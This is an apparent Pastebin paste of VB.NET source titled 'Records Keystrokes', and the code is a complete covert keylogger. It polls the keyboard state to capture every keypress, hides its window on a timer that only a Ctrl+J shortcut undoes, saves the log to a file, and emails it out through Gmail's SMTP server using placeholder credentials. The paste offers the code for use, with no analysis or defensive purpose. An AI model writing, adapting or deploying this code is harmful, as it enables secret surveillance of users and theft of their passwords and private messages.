Advertisement
john_oneill

[VB.NET] Records Keystrokes

Jan 5th, 2012
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 2.30 KB | None | 0 0
  1. Option Strict On
  2. Imports System.Net.Mail
  3. Imports System.IO
  4. Public Class Form1
  5.     Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
  6.     Private Sub PressedKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles PressedKeys.Tick
  7.         Dim result As Integer
  8.         Dim key As String
  9.         Dim i As Integer
  10.         For i = 2 To 90
  11.             result = 0
  12.             result = GetAsyncKeyState(i)
  13.             If result = -32767 Then
  14.                 key = Chr(i)
  15.                 If i = 13 Then key = vbNewLine
  16.                 Exit For
  17.             End If
  18.         Next i
  19.         If key <> Nothing Then
  20.             If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
  21.                 TextBoxForLog.Text &= key
  22.             Else
  23.                 TextBoxForLog.Text &= key.ToLower
  24.             End If
  25.         End If
  26.         If My.Computer.Keyboard.CtrlKeyDown AndAlso key = "j" Then
  27.             Me.Show()
  28.         End If
  29.     End Sub
  30.  
  31.     Private Sub AutoHidder_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles AutoHider.Tick
  32.         Me.Hide()
  33.     End Sub
  34.  
  35.     Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
  36.         TextBoxForLog.Text &= vbNewLine & "Closed At : " & Now & vbNewLine
  37.         SaveLog_Tick()
  38.         SendLog_Tick()
  39.     End Sub
  40.  
  41.     Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  42.         TextBoxForLog.Text = "Started At : " & Now & vbNewLine
  43.     End Sub
  44.  
  45.     Private Sub SaveLog_Tick() Handles SaveLog.Tick
  46.         My.Computer.FileSystem.WriteAllText("path", TextBoxForLog.Text, True)
  47.     End Sub
  48.  
  49.     Private Sub SendLog_Tick() Handles SendLog.Tick
  50.         Dim MyMailMessage As New MailMessage()
  51.         MyMailMessage.From = New MailAddress("gmail")
  52.         MyMailMessage.To.Add("to email")
  53.         MyMailMessage.Subject = ("Subject")
  54.         MyMailMessage.Body = (Body)
  55.         Dim SMTPServer As New SmtpClient("smtp.gmail.com")
  56.         SMTPServer.Port = 587
  57.         SMTPServer.Credentials = New System.Net.NetworkCredential("gmail", "password")
  58.         SMTPServer.EnableSsl = True
  59.         SMTPServer.Send(MyMailMessage)
  60.     End Sub
  61. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement